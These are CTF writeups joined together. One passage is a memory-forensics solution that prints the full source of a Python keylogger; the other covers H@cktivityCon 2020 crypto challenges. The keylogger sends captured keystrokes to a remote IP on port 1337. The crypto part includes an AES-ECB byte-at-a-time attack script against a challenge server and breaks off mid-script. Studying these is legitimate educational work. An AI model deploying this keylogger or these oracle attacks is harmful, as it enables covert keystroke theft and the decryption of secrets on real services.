0xfffffa8002b4a320:services.exe 504 412 11 208 2020-06-02 10:36:08 UTC+0000... 0xfffffa800327e060:taskhost.exe 1372 504 9 146 2020-06-02 10:36:38 UTC+0000... 0xfffffa8002d708e0:vmacthlp.exe 736 504 4 53 2020-06-02 10:36:15 UTC+0000... 0xfffffa8002dd4060:VGAuthService. 1380 504 4 84 2020-06-02 10:36:18 UTC+0000... 0xfffffa8002cc2b30:svchost.exe 1056 504 17 367 2020-06-02 10:36:17 UTC+0000... 0xfffffa8002e14390:svchost.exe 1500 504 13 337 2020-06-02 10:38:20 UTC+0000. 0xfffffa80023eeb30:csrss.exe 352 344 9 489 2020-06-02 10:36:08 UTC+0000.. 0xfffffa8002fd1730:conhost.exe 1288 352 0 ------ 2020-06-02 10:40:46 UTC+0000 0xfffffa800327e060:taskhost.exe 1372 504 9 146 2020-06-02 10:36:38 UTC+0000 0xfffffa8002d708e0:vmacthlp.exe 736 504 4 53 2020-06-02 10:36:15 UTC+0000 0xfffffa8002dd4060:VGAuthService. 1380 504 4 84 2020-06-02 10:36:18 UTC+0000 0xfffffa8002cc2b30:svchost.exe 1056 504 17 367 2020-06-02 10:36:17 UTC+0000 0xfffffa8002e14390:svchost.exe 1500 504 13 337 2020-06-02 10:38:20 UTC+0000 0xfffffa8003011270:chrome.exe 4032 2636 11 174 2020-06-02 10:37:31 UTC+0000 0xfffffa8002fcb640:chrome.exe 2648 2636 9 91 2020-06-02 10:36:55 UTC+0000 0xfffffa8000e17b30:chrome.exe 1284 2636 0 ------ 2020-06-02 10:38:55 UTC+0000. 0xfffffa80032bc4a0:explorer.exe 1100 1284 36 933 2020-06-02 10:36:38 UTC+0000.. 0xfffffa80032feb30:vmtoolsd.exe 2208 1100 8 182 2020-06-02 10:36:39 UTC+0000.. 0xfffffa800347fb30:chrome.exe 2636 1100 34 866 2020-06-02 10:36:55 UTC+0000... 0xfffffa8002058930:chrome.exe 3812 2636 13 188 2020-06-02 10:37:20 UTC+0000... 0xfffffa8003141060:chrome.exe 3124 2636 15 272 2020-06-02 10:37:08 UTC+0000... 0xfffffa8000f52220:chrome.exe 3480 2636 18 352 2020-06-02 10:37:14 UTC+0000... 0xfffffa8000f8e3d0:chrome.exe 3728 2636 17 306 2020-06-02 10:37:18 UTC+0000... 0xfffffa8000de00f0:chrome.exe 3424 2636 0 ------ 2020-06-02 10:37:13 UTC+0000... 0xfffffa8003547060:chrome.exe 2804 2636 10 235 2020-06-02 10:36:55 UTC+0000... 0xfffffa8003549b30:chrome.exe 2812 2636 16 324 2020-06-02 10:36:55 UTC+0000.. 0xfffffa8000f48b30:cmd.exe 3532 1100 1 19 2020-06-02 10:37:57 UTC+0000.. 0xfffffa80030b0060:pythonw.exe 2216 1100 3 163 2020-06-02 10:40:36 UTC+0000 0xfffffa8002058930:chrome.exe 3812 2636 13 188 2020-06-02 10:37:20 UTC+0000 0xfffffa8003141060:chrome.exe 3124 2636 15 272 2020-06-02 10:37:08 UTC+0000 0xfffffa8000f52220:chrome.exe 3480 2636 18 352 2020-06-02 10:37:14 UTC+0000 0xfffffa8000f8e3d0:chrome.exe 3728 2636 17 306 2020-06-02 10:37:18 UTC+0000 0xfffffa8000de00f0:chrome.exe 3424 2636 0 ------ 2020-06-02 10:37:13 UTC+0000 0xfffffa8003547060:chrome.exe 2804 2636 10 235 2020-06-02 10:36:55 UTC+0000 0xfffffa8003549b30:chrome.exe 2812 2636 16 324 2020-06-02 10:36:55 UTC+0000 0xfffffa8000ca19e0:System 4 0 96 621 2020-06-02 10:36:06 UTC+0000. 0xfffffa8001c31310:smss.exe 264 4 2 29 2020-06-02 10:36:06 UTC+0000 0xfffffa8002808850:csrss.exe 404 396 11 356 2020-06-02 10:36:08 UTC+0000. 0xfffffa8000f2d060:conhost.exe 3524 404 3 51 2020-06-02 10:37:57 UTC+0000 0xfffffa8002b29810:winlogon.exe 460 396 4 110 2020-06-02 10:36:08 UTC+0000 0xfffffa8003479880:GoogleCrashHan 2584 2128 6 90 2020-06-02 10:36:47 UTC+0000 0xfffffa80033b9b30:GoogleCrashHan 2576 2128 6 101 2020-06-02 10:36:47 UTC+0000```By Checking the commands ran from cmd, we noticed a suspecious python script by the name keylogger.py.```volatility -f Evidence.vmem --profile=Win7SP1x64 cmdline | tee cmdline.txt``````************************************************************************pythonw.exe pid: 2216Command line : "C:\Python27\pythonw.exe" "C:\Python27\Lib\idlelib\idle.pyw" -e "C:\Users\Mike\Downloads\keylogger.py"************************************************************************```For more indepth analysis we extracted the script using filescan and dumpfiles plugins.```l33t > ~/CTFs/inctf > volatility -f Evidence.vmem --profile=Win7SP1x64 filescan | grep keylogger.pyVolatility Foundation Volatility Framework 2.60x000000003ee119b0 16 0 R--rwd \Device\HarddiskVolume1\Users\Mike\Downloads\keylogger.py l33t > ~/CTFs/inctf > volatility -f Evidence.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000003ee119b0 --dump-dir=lolVolatility Foundation Volatility Framework 2.6DataSectionObject 0x3ee119b0 None \Device\HarddiskVolume1\Users\Mike\Downloads\keylogger.py``` ```pythonimport socket, osfrom pynput.keyboard import Key, Listenerimport socket import logginglist1 = [] def keylog(): dir = r"C:\Users\Mike\Desktop\key.log" logging.basicConfig(filename=dir, level=logging.DEBUG,format='%(message)s') def on_press(key): a = str(key).replace("u'","").replace("'","") list1.append(a) def on_release(key): if str(key) == 'Key.esc': print "Data collection complete. Sending data to master" logging.info(' '.join(list1)) logging.shutdown() master_encrypt() with Listener( on_press = on_press, on_release = on_release) as listener: listener.join() def send_to_master(data): s = socket.socket() host = '18.140.60.203' port = 1337 s.connect((host, port)) key_log = data s.send(key_log) s.close() exit(1) def master_encrypt(): mkey = os.getenv('t3mp') f = open("C:/Users/Mike/Desktop/key.log","r") modified = ''.join(f.readlines()).replace("\n","") f.close() data = master_xor(mkey, modified).encode("base64") os.unlink("C:/Users/Mike/Desktop/key.log") send_to_master(data) def master_xor(msg,mkey): l = len(mkey) xor_complete = "" for i in range(0, len(msg)): xor_complete += chr(ord(msg[i]) ^ ord(mkey[i % l])) return xor_complete if __name__ == "__main__": keylog()``` Upon reading the source code of the keylogger, we can conclude that the script collect all the keyboard strokes, save it to the file C:/Users/Mike/Desktop/key.log(which will be deleted after the end of the process) , xor it with a key saved as an environment variable(t3mp) and then send it(after b64 encoding it) through port 1337 to the attacker's C2 server. Now, we just need to collect different variables used to recover the exfiltrated data. To do this, we extracted the key using envars plugin.```l33t > ~/CTFs/inctf > volatility -f Evidence.vmem --profile=Win7SP1x64 envars | tee envars.txt``` ```2216 pythonw.exe 0x0000000000304d50 t3mp UXpwY1VIbDBhRzl1TWpkY08wTTZYRkI1ZEdodmJqSTNYRk5qY21sd2RITTdRenBjVjJsdVpHOTNjMXh6ZVhOMFpXMHpNanRET2x4WAphVzVrYjNkek8wTTZYRmRwYm1SdmQzTmNVM2x6ZEdWdE16SmNWMkpsYlR0RE9seFhhVzVrYjNkelhGTjVjM1JsYlRNeVhGZHBibVJ2CmQzTlFiM2RsY2xOb1pXeHNYSFl4TGpCY08wTTZYRkJ5YjJkeVlXMGdSbWxzWlhNZ0tIZzROaWxjVG0xaGNDNURUMDA3TGtWWVJUc3UKUWtGVU95NURUVVE3TGxaQ1V6c3VWa0pGT3k1S1V6c3VTbE5GT3k1WFUwWTdMbGRUU0RzdVRWTkQK```For this step, the pcap comes handy. We started by filtring the packets to only show the ones sent through port 1337 and then followed them.![filter](https://i.ibb.co/n6Nxdyh/Screenshot-3.png)![data](https://i.ibb.co/bRM1T4w/Screenshot-4.png) At this point, we have all the data we need, we just need to reverse the encryption algorithm, i used python to create a simple decryptor.```pythonimport base64 mkey="UXpwY1VIbDBhRzl1TWpkY08wTTZYRkI1ZEdodmJqSTNYRk5qY21sd2RITTdRenBjVjJsdVpHOTNjMXh6ZVhOMFpXMHpNanRET2x4WAphVzVrYjNkek8wTTZYRmRwYm1SdmQzTmNVM2x6ZEdWdE16SmNWMkpsYlR0RE9seFhhVzVrYjNkelhGTjVjM1JsYlRNeVhGZHBibVJ2CmQzTlFiM2RsY2xOb1pXeHNYSFl4TGpCY08wTTZYRkJ5YjJkeVlXMGdSbWxzWlhNZ0tIZzROaWxjVG0xaGNDNURUMDA3TGtWWVJUc3UKUWtGVU95NURUVVE3TGxaQ1V6c3VWa0pGT3k1S1V6c3VTbE5GT3k1WFUwWTdMbGRUU0RzdVRWTkQK"msg="PXgRVzcRMWkNZGIccglMH3QwUAR5XxgQdDh6PHJFaVJ6KkQCRAVqGHMfKyB8GEUQOlcRF0RTcj90MUR8RSUnE3gZOhIHM1A7bzFuCW0qSFN6IkgEKD9eKz0pEytBCHIpdFNYU3cKFRF4CSYTOg9uAkUFGBR0IHo/ciY3DnceWToCGXEBdANuZW1EWAV6N0QcATwfRTsEKCNtNFA4PBV8QzosXwdFEkgadjEzC3cZJgIDGEgSdBl2XW16Lwp3HzonAyJIGHoDJxBMJSJbJRlxKXQcZl1tX3I4PEtWPApYFixFF248cw0JTXo0GCo/RBgodDl6bXJaan48E2QYDT8KLG0LRCBCHB0DeR8AJzxEVDR6MTc2TzILCT5nUVgPZylkIXVyIW03YR10IFQ4dzlqMkNfdS51eVQkdjoZWG49cjx2HSBKejQIADJUdlJDUnYhQVVQaXR4Dkh9QiZXAFZ2J0IgFSR0QUtUdzJ1PDItSj4SJjEwdVZyFkQ3cjB0IDQy"#a=base64.b64decode(_mkey)b=base64.b64decode(msg) def dec_xor(msg,mkey): l = len(mkey) xor_complete = "" for i in range(0, len(msg)): xor_complete += chr(ord(msg[i]) ^ ord(mkey[i%l])) return xor_complete print(dec_xor(b,mkey))```![flag](https://i.ibb.co/Yj70JZn/Screenshot-5.png)
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True 